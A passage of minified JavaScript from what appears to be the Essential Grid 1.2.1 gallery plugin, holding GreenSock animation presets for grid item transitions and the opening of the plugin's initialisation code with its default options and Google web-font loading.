50%"},{rotationX:0,autoAlpha:1,scale:1,z:0.001,ease:punchgs.Power3.easeInOut,overwrite:"all"},0.5,{rotationX:180,autoAlpha:0,scale:1,z:-0.001,ease:punchgs.Power3.easeInOut,overwrite:"all"},true],[".esg-flipverticalout",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,rotationX:0,autoAlpha:1,z:0.001,transformOrigin:"50% 50%"},{rotationX:-180,scale:1,autoAlpha:0,z:-150,ease:punchgs.Power3.easeInOut,overwrite:"all"},0.5,{rotationX:0,autoAlpha:1,scale:1,z:0,ease:punchgs.Power3.easeInOut,overwrite:"all"}],[".esg-fliphorizontal",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,rotationY:180,autoAlpha:0,z:-0.001,transformOrigin:"50% 50%"},{rotationY:0,autoAlpha:1,scale:1,z:0.001,ease:punchgs.Power3.easeInOut,overwrite:"all"},0.5,{rotationY:180,autoAlpha:0,scale:1,z:-0.001,ease:punchgs.Power3.easeInOut,overwrite:"all"},true],[".esg-fliphorizontalout",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,z:0.001,transformOrigin:"50% 50%"},{rotationY:-180,scale:1,autoAlpha:0,z:-150,ease:punchgs.Power3.easeInOut,overwrite:"all"},0.5,{rotationY:0,autoAlpha:1,scale:1,z:0.001,ease:punchgs.Power3.easeInOut,overwrite:"all"}],[".esg-flipup",0.5,{x:0,y:0,scale:0.8,rotationZ:0,rotationX:90,rotationY:0,skewX:0,skewY:0,autoAlpha:0,z:0.001,transformOrigin:"50% 100%"},{scale:1,rotationX:0,autoAlpha:1,z:0.001,ease:punchgs.Power2.easeOut,overwrite:"all"},0.3,{scale:0.8,rotationX:90,autoAlpha:0,z:0.001,ease:punchgs.Power2.easeOut,overwrite:"all"},true],[".esg-flipupout",0.5,{rotationX:0,autoAlpha:1,y:0,ease:punchgs.Bounce.easeOut,overwrite:"all"},{x:0,y:0,scale:1,rotationZ:0,rotationX:-90,rotationY:0,skewX:0,skewY:0,autoAlpha:1,z:0.001,transformOrigin:"50% 0%"},0.3,{rotationX:0,autoAlpha:1,y:0,ease:punchgs.Bounce.easeOut,overwrite:"all"}],[".esg-flipdown",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:-90,rotationY:0,skewX:0,skewY:0,autoAlpha:0,z:0.001,transformOrigin:"50% 0%"},{rotationX:0,autoAlpha:1,y:0,ease:punchgs.Bounce.easeOut,overwrite:"all"},0.3,{rotationX:-90,z:0,ease:punchgs.Power2.easeOut,autoAlpha:0,overwrite:"all"},true],[".esg-flipdownout",0.5,{scale:1,rotationX:0,autoAlpha:1,z:0.001,ease:punchgs.Power2.easeOut,overwrite:"all"},{x:0,y:0,scale:0.8,rotationZ:0,rotationX:90,rotationY:0,skewX:0,skewY:0,autoAlpha:0,z:0.001,transformOrigin:"50% 100%"},0.3,{scale:1,rotationX:0,autoAlpha:1,z:0.001,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-flipright",0.5,{x:0,y:0,scale:0.8,rotationZ:0,rotationX:0,rotationY:90,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"0% 50%"},{scale:1,rotationY:0,autoAlpha:1,ease:punchgs.Power2.easeOut,overwrite:"all"},0.3,{autoAlpha:0,scale:0.8,rotationY:90,ease:punchgs.Power3.easeOut,overwrite:"all"},true],[".esg-fliprightout",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,rotationY:0,autoAlpha:1,transformOrigin:"100% 50%"},{scale:1,rotationY:-90,autoAlpha:0,ease:punchgs.Power2.easeOut,overwrite:"all"},0.3,{scale:1,z:0,rotationY:0,autoAlpha:1,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-flipleft",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:-90,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"100% 50%"},{rotationY:0,autoAlpha:1,z:0.001,scale:1,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,rotationY:-90,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"},true],[".esg-flipleftout",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,rotationY:0,autoAlpha:1,transformOrigin:"0% 50%"},{scale:1,rotationY:90,autoAlpha:0,ease:punchgs.Power2.easeOut,overwrite:"all"},0.3,{scale:1,z:0,rotationY:0,autoAlpha:1,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-turn",0.5,{x:50,y:0,scale:0,rotationZ:0,rotationX:0,rotationY:-40,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"50% 50%"},{scale:1,x:0,rotationY:0,autoAlpha:1,ease:punchgs.Power3.easeInOut,overwrite:"all"},0.3,{scale:0,rotationY:-40,autoAlpha:1,z:0,x:50,ease:punchgs.Power3.easeInOut,overwrite:"all"},true],[".esg-turnout",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"50% 50%"},{scale:1,rotationY:40,scale:0.6,autoAlpha:0,x:-50,ease:punchgs.Power3.easeInOut,overwrite:"all"},0.3,{scale:1,rotationY:0,z:0,autoAlpha:1,x:0,rotationX:0,rotationZ:0,ease:punchgs.Power3.easeInOut,overwrite:"all"}],[".esg-slide",0.5,{x:-10000,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"50% 50%"},{autoAlpha:1,x:0,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:1,x:-10000,y:0,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-slideout",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"50% 50%"},{autoAlpha:1,x:0,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:1,x:0,y:0,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-slideright",0.5,{xPercent:-50,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,xPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,xPercent:-50,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-sliderightout",0.5,{autoAlpha:1,xPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{xPercent:50,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,xPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-scaleleft",0.5,{x:0,y:0,scaleX:0,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"100% 50%"},{autoAlpha:1,x:0,scaleX:1,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:1,x:0,z:0,scaleX:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-scaleright",0.5,{x:0,y:0,scaleX:0,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"0% 50%"},{autoAlpha:1,x:0,scaleX:1,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:1,x:0,z:0,scaleX:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-slideleft",0.5,{xPercent:50,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,xPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,xPercent:50,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-slideleftout",0.5,{autoAlpha:1,xPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{xPercent:-50,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,xPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-slideup",0.5,{x:0,yPercent:50,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,yPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,yPercent:50,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-slideupout",0.5,{autoAlpha:1,yPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{x:0,yPercent:-50,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,yPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-slidedown",0.5,{x:0,yPercent:-50,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,yPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,yPercent:-50,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-slidedownout",0.5,{autoAlpha:1,yPercent:0,z:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{x:0,yPercent:50,scale:1,rotationZ:0,rotationX:0,z:10,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,yPercent:0,z:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-slideshortright",0.5,{x:-30,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,x:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,x:-30,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-slideshortrightout",0.5,{autoAlpha:1,x:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{x:30,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,x:30,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-slideshortleft",0.5,{x:30,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,x:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,x:30,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-slideshortleftout",0.5,{autoAlpha:1,x:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{x:-30,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,x:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-slideshortup",0.5,{x:0,y:30,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,y:30,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-slideshortupout",0.5,{autoAlpha:1,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{x:0,y:-30,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-slideshortdown",0.5,{x:0,y:-30,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,y:-30,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-slideshortdownout",0.5,{autoAlpha:1,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{x:0,y:30,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-skewright",0.5,{xPercent:-100,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:60,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,xPercent:0,skewX:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,skewX:-60,xPercent:-100,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-skewrightout",0.5,{autoAlpha:1,xPercent:0,skewX:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{xPercent:100,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:-60,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,xPercent:0,skewX:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-skewleft",0.5,{xPercent:100,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:-60,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,xPercent:0,skewX:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,xPercent:100,z:0,skewX:60,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-skewleftout",0.5,{autoAlpha:1,xPercent:0,skewX:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{xPercent:-100,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:60,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,xPercent:0,skewX:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-shifttotop",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"50% 50%"},{autoAlpha:1,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:1,y:0,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-rollleft",0.5,{xPercent:50,y:0,scale:1,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,rotationZ:90,transformOrigin:"50% 50%"},{autoAlpha:1,xPercent:0,rotationZ:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,xPercent:50,z:0,rotationZ:90,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-rollleftout",0.5,{autoAlpha:1,xPercent:0,rotationZ:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{xPercent:50,y:0,scale:1,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,rotationZ:90,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,xPercent:0,rotationZ:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-rollright",0.5,{xPercent:-50,y:0,scale:1,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,rotationZ:-90,transformOrigin:"50% 50%"},{autoAlpha:1,xPercent:0,rotationZ:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{autoAlpha:0,xPercent:-50,rotationZ:-90,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-rollrightout",0.5,{autoAlpha:1,xPercent:0,rotationZ:0,ease:punchgs.Power3.easeOut,overwrite:"all"},{xPercent:-50,y:0,scale:1,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,rotationZ:-90,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,xPercent:0,rotationZ:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-falldown",0.4,{x:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,yPercent:-100},{autoAlpha:1,yPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.4,{yPercent:-100,autoAlpha:0,z:0,ease:punchgs.Power2.easeOut,delay:0.2,overwrite:"all"}],[".esg-falldownout",0.4,{autoAlpha:1,yPercent:0,ease:punchgs.Back.easeOut,overwrite:"all"},{x:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,yPercent:100},0.4,{autoAlpha:1,yPercent:0,ease:punchgs.Power3.easeOut,overwrite:"all"}],[".esg-rotatescale",0.3,{x:0,y:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,rotationZ:80,scale:0.6,transformOrigin:"50% 50%"},{autoAlpha:1,scale:1,rotationZ:0,ease:punchgs.Back.easeOut,overwrite:"all"},0.3,{autoAlpha:0,scale:0.6,z:0,rotationZ:80,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-rotatescaleout",0.3,{autoAlpha:1,scale:1,rotationZ:0,ease:punchgs.Back.easeOut,overwrite:"all"},{x:0,y:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,rotationZ:80,scale:0.6,transformOrigin:"50% 50%"},0.3,{autoAlpha:1,scale:1,rotationZ:0,ease:punchgs.Back.easeOut,overwrite:"all"}],[".esg-zoomintocorner",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"20% 50%"},{autoAlpha:1,scale:1.2,x:0,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.5,{autoAlpha:0,x:0,y:0,scale:1,autoAlpha:1,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-zoomouttocorner",0.5,{x:0,y:0,scale:1.2,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"80% 50%"},{autoAlpha:1,scale:1,x:0,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.5,{autoAlpha:0,x:0,y:0,scale:1.2,autoAlpha:1,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-zoomtodefault",0.5,{x:0,y:0,scale:1.2,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"50% 50%"},{autoAlpha:1,scale:1,x:0,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.5,{autoAlpha:0,x:0,y:0,scale:1.2,autoAlpha:1,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-zoomback",0.5,{x:0,y:0,scale:0.2,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,scale:1,x:0,y:0,ease:punchgs.Back.easeOut,overwrite:"all"},0.5,{autoAlpha:0,x:0,y:0,scale:0.2,autoAlpha:0,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-zoombackout",0.5,{autoAlpha:1,scale:1,x:0,y:0,ease:punchgs.Back.easeOut,overwrite:"all"},{x:0,y:0,scale:0.2,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.5,{autoAlpha:1,scale:1,x:0,y:0,ease:punchgs.Back.easeOut,overwrite:"all"}],[".esg-zoomfront",0.5,{x:0,y:0,scale:1.5,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},{autoAlpha:1,scale:1,x:0,y:0,ease:punchgs.Power3.easeOut,overwrite:"all"},0.5,{autoAlpha:0,x:0,y:0,scale:1.5,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-zoomfrontout",0.5,{autoAlpha:1,scale:1,x:0,y:0,ease:punchgs.Back.easeOut,overwrite:"all"},{x:0,y:0,scale:1.5,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:0,transformOrigin:"50% 50%"},0.5,{autoAlpha:1,scale:1,x:0,y:0,ease:punchgs.Back.easeOut,overwrite:"all"}],[".esg-flyleft",0.8,{x:-80,y:0,z:0,scale:0.3,rotationZ:0,rotationY:75,rotationX:10,skewX:0,skewY:0,autoAlpha:0.01,transformOrigin:"30% 10%"},{x:0,y:0,rotationY:0,z:0.001,rotationX:0,rotationZ:0,autoAlpha:1,scale:1,x:0,y:0,z:0,ease:punchgs.Power3.easeInOut,overwrite:"all"},0.8,{autoAlpha:0.01,x:-40,y:0,z:300,rotationY:60,rotationX:20,overwrite:"all"}],[".esg-flyleftout",0.8,{x:0,y:0,rotationY:0,z:0.001,rotationX:0,rotationZ:0,autoAlpha:1,scale:1,x:0,y:0,z:0,ease:punchgs.Power3.easeInOut,overwrite:"all"},{x:-80,y:0,z:0,scale:0.3,rotationZ:0,rotationY:75,rotationX:10,skewX:0,skewY:0,autoAlpha:0.01,transformOrigin:"30% 10%"},0.8,{x:0,y:0,rotationY:0,z:0.001,rotationX:0,rotationZ:0,autoAlpha:1,scale:1,x:0,y:0,z:0,ease:punchgs.Power3.easeInOut,overwrite:"all"}],[".esg-flyright",0.8,{scale:1,skewX:0,skewY:0,autoAlpha:0,x:80,y:0,z:0,scale:0.3,rotationZ:0,rotationY:-75,rotationX:10,transformOrigin:"70% 20%"},{x:0,y:0,rotationY:0,z:0.001,rotationX:0,autoAlpha:1,scale:1,x:0,y:0,z:0,ease:punchgs.Power3.easeInOut,overwrite:"all"},0.8,{autoAlpha:0,x:40,y:-40,z:300,rotationY:-60,rotationX:-40,overwrite:"all"}],[".esg-flyrightout",0.8,{x:0,y:0,rotationY:0,z:0.001,rotationX:0,autoAlpha:1,scale:1,x:0,y:0,z:0,ease:punchgs.Power3.easeInOut,overwrite:"all"},{scale:1,skewX:0,skewY:0,autoAlpha:0,x:80,y:0,z:0,scale:0.3,rotationZ:0,rotationY:-75,rotationX:10,transformOrigin:"70% 20%"},0.8,{x:0,y:0,rotationY:0,z:0.001,rotationX:0,autoAlpha:1,scale:1,x:0,y:0,z:0,ease:punchgs.Power3.easeInOut,overwrite:"all"}],[".esg-mediazoom",0.3,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"50% 50%"},{autoAlpha:1,scale:1.4,x:0,y:0,ease:punchgs.Back.easeOut,overwrite:"all"},0.3,{autoAlpha:0,x:0,y:0,scale:1,z:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-zoomandrotate",0.6,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"50% 50%"},{autoAlpha:1,scale:1.4,x:0,y:0,rotationZ:30,ease:punchgs.Power2.easeOut,overwrite:"all"},0.4,{x:0,y:0,scale:1,z:0,rotationZ:0,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-pressback",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"50% 50%"},{rotationY:0,autoAlpha:1,scale:0.8,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{rotationY:0,autoAlpha:1,z:0,scale:1,ease:punchgs.Power2.easeOut,overwrite:"all"}],[".esg-3dturnright",0.5,{x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,transformPerspective:600},{x:-40,y:0,scale:0.8,rotationZ:2,rotationX:5,rotationY:-28,skewX:0,skewY:0,autoAlpha:1,transformOrigin:"100% 50% 40%",transformPerspective:600,ease:punchgs.Power3.easeOut,overwrite:"all"},0.3,{z:0,x:0,y:0,scale:1,rotationZ:0,rotationX:0,rotationY:0,skewX:0,skewY:0,autoAlpha:1,force3D:"auto",ease:punchgs.Power2.easeOut,overwrite:"all"},true]];jQuery.fn.extend({tpessential:function(e){jQuery.fn.tpessential.defaults={forceFullWidth:"off",forceFullScreen:"off",fullScreenOffsetContainer:"",row:3,column:4,space:10,pageAnimation:"fade",animSpeed:600,delayBasic:0.08,smartPagination:"on",paginationScrollToTop:"off",paginationScrollToTopOffset:200,layout:"even",rtl:"off",aspectratio:"16:9",bgPosition:"center center",bgSize:"cover",videoJsPath:"",overflowoffset:0,mainhoverdelay:0,rowItemMultiplier:[],filterGroupClass:"",filterType:"",filterLogic:"or",evenGridMasonrySkinPusher:"on",loadMoreType:"none",loadMoreItems:[],loadMoreAmount:5,loadMoreTxt:"Load More",loadMoreNr:"on",loadMoreEndTxt:"No More Items for the Selected Filter",loadMoreAjaxUrl:"",loadMoreAjaxToken:"",loadMoreAjaxAction:"",lazyLoad:"off",lazyLoadColor:"#ff0000",gridID:0,spinner:"",spinnerColor:"",lightBoxMode:"single",cobblesPattern:"",googleFonts:"",googleFontJS:"//ajax.googleapis.com/ajax/libs/webfont/1/webfont.js",ajaxContentTarget:"",ajaxScrollToOnLoad:"off",ajaxScrollToOffset:100,ajaxCallback:"",ajaxCallbackArgument:"on",ajaxCssUrl:"",ajaxJsUrl:"",ajaxCloseButton:"on",ajaxNavButton:"on",ajaxCloseTxt:"Close",ajaxCloseType:"type1",ajaxClosePosition:"tr",ajaxCloseInner:"true",ajaxCloseStyle:"light",ajaxTypes:[]};e=jQuery.extend({},jQuery.fn.tpessential.defaults,e);if(typeof WebFontConfig=="undefined"){WebFontConfig=new Object}return this.each(function(){var t=e;var n=jQuery(this);if(n==undefined){return false}n.parent().css({position:"relative"});if(t.layout=="cobbles"){t.layout="even";t.evenCobbles="on"}else{t.evenCobbles="off"}if(t.get!="true"&&t.get!=true){t.get=true;if(t.filterGroupClass==undefined||t.filterGroupClass.length==0){t.filterGroupClass="#"+n.attr("id")}else{t.filterGroupClass="."+t.filterGroupClass}if(window.tplogs==true){try{console.groupCollapsed("Essential Grid  1.2.1 Initialisation on "+n.attr("id"));console.groupCollapsed("Used Options:");console.info(e);console.groupEnd();console.groupCollapsed("Tween Engine:")}catch(r){}}if(punchgs.TweenLite==undefined){if(window.tplogs==true){try{console.error("GreenSock Engine Does not Exist!")}catch(r){}}return false}punchgs.force3D=true;if(window.tplogs==true){try{console.info("GreenSock Engine Version in Essential Grid:"+punchgs.TweenLite.version)}catch(r){}}punchgs.TweenLite.lagSmoothing(2000,16);punchgs.force3D="auto";if(window.tplogs==true){try{console.groupEnd();console.groupEnd()}catch(r){}}jQuery("body").data("fullScreenMode",false);jQuery(window).on("mozfullscreenchange webkitfullscreenchange fullscreenchange",function(){jQuery("body").data("fullScreenMode",!jQuery("body").data("fullScreenMode"))});buildLoader(n.parent(),t);if(t.firstshowever==undefined){jQuery(t.filterGroupClass+".esg-navigationbutton,"+t.filterGroupClass+" .esg-navigationbutton").css({visibility:"hidden"})}n.parent().append('<div class="esg-relative-placeholder" style="width:100%;height:auto"></div>');n.wrap('<div class="esg-container-fullscreen-forcer" style="position:relative;left:0px;top:0px;width:100%;height:auto;"></div>');var i=n.parent().parent().find(".esg-relative-placeholder").offset().left;if(t.forceFullWidth=="on"||t.forceFullScreen=="on"){n.closest(".esg-container-fullscreen-forcer").css({left:0-i,width:jQuery(window).width()})}t.animDelay=t.delayBasic==0?"off":"on";t.container=n;n.find("ul").first().addClass("mainul").wrap('<div class="esg-overflowtrick"></div>');var s=jQuery(t.filterGroupClass+".esg-navbutton-solo-left,"+t.filterGroupClass+" .esg-navbutton-solo-left");var o=jQuery(t.filterGroupClass+".esg-navbutton-solo-right,"+t.filterGroupClass+" .esg-navbutton-solo-right");if(s.length>0){s.css({marginTop:0-s.height()/2});s.appendTo(n.find(".esg-overflowtrick"))}if(o.length>0){o.css({marginTop:0-o.height()/2});o.appendTo(n.find(".esg-overflowtrick"))}punchgs.CSSPlugin.defaultTransformPerspective=1200;t.animSpeed=t.animSpeed/1000;t.delayBasic=t.delayBasic/100;setOptions(n,t);t.filter=t.statfilter;t.origcolumn=t.column;t.currentpage=0;n.addClass("esg-layout-"+t.layout);var u=loadVideoApis(n,t);if(t.layout=="even"&&t.forceFullScreen=="on"){var a=jQuery(window).height();if(t.fullScreenOffsetContainer!=undefined){try{var f=t.fullScreenOffsetContainer.split(",");jQuery.each(f,function(e,n){a=a-jQuery(n).outerHeight(true);if(a<t.minFullScreenHeight){a=t.minFullScreenHeight}})}catch(r){}}var l=n.find(".esg-overflowtrick").first();var c=n.find("ul").first();l.css({display:"block",height:a+"px"});c.css({display:"block",height:a+"px"})}function h(e,t){mainPreparing(e,t);t.initialised="ready";jQuery("body").trigger("essentialready",e.attr("id"))}if(t.googleFonts.length!=0&&t.layout=="masonry"){var p=t.googleFonts.length;var d=true;jQuery("head").find("*").each(function(){if(jQuery(this).attr("src")!=undefined&&jQuery(this).attr("src").indexOf("webfont.js")>0){d=false}});if(WebFontConfig.active==undefined&&d){WebFontConfig={google:{families:t.googleFonts},active:function(){h(n,t)},inactive:function(){h(n,t)},timeout:1500};var v=document.createElement("script");v.src=("https:"==document.location.protocol?"https":"http")+"://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js";v.type="text/javascript";v.async="true";var m=document.getElementsByTagName("script")[0];m.parentNode.insertBefore(v,m)}else{h(n,t)}}else{h(n,t)}if(t.loadMoreType=="button"){n.append('<div class="esg-loadmore-wrapper" style="text-align:center"><div class="esg-navigationbutton esg-loadmore">LOAD MORE</div></div>');var 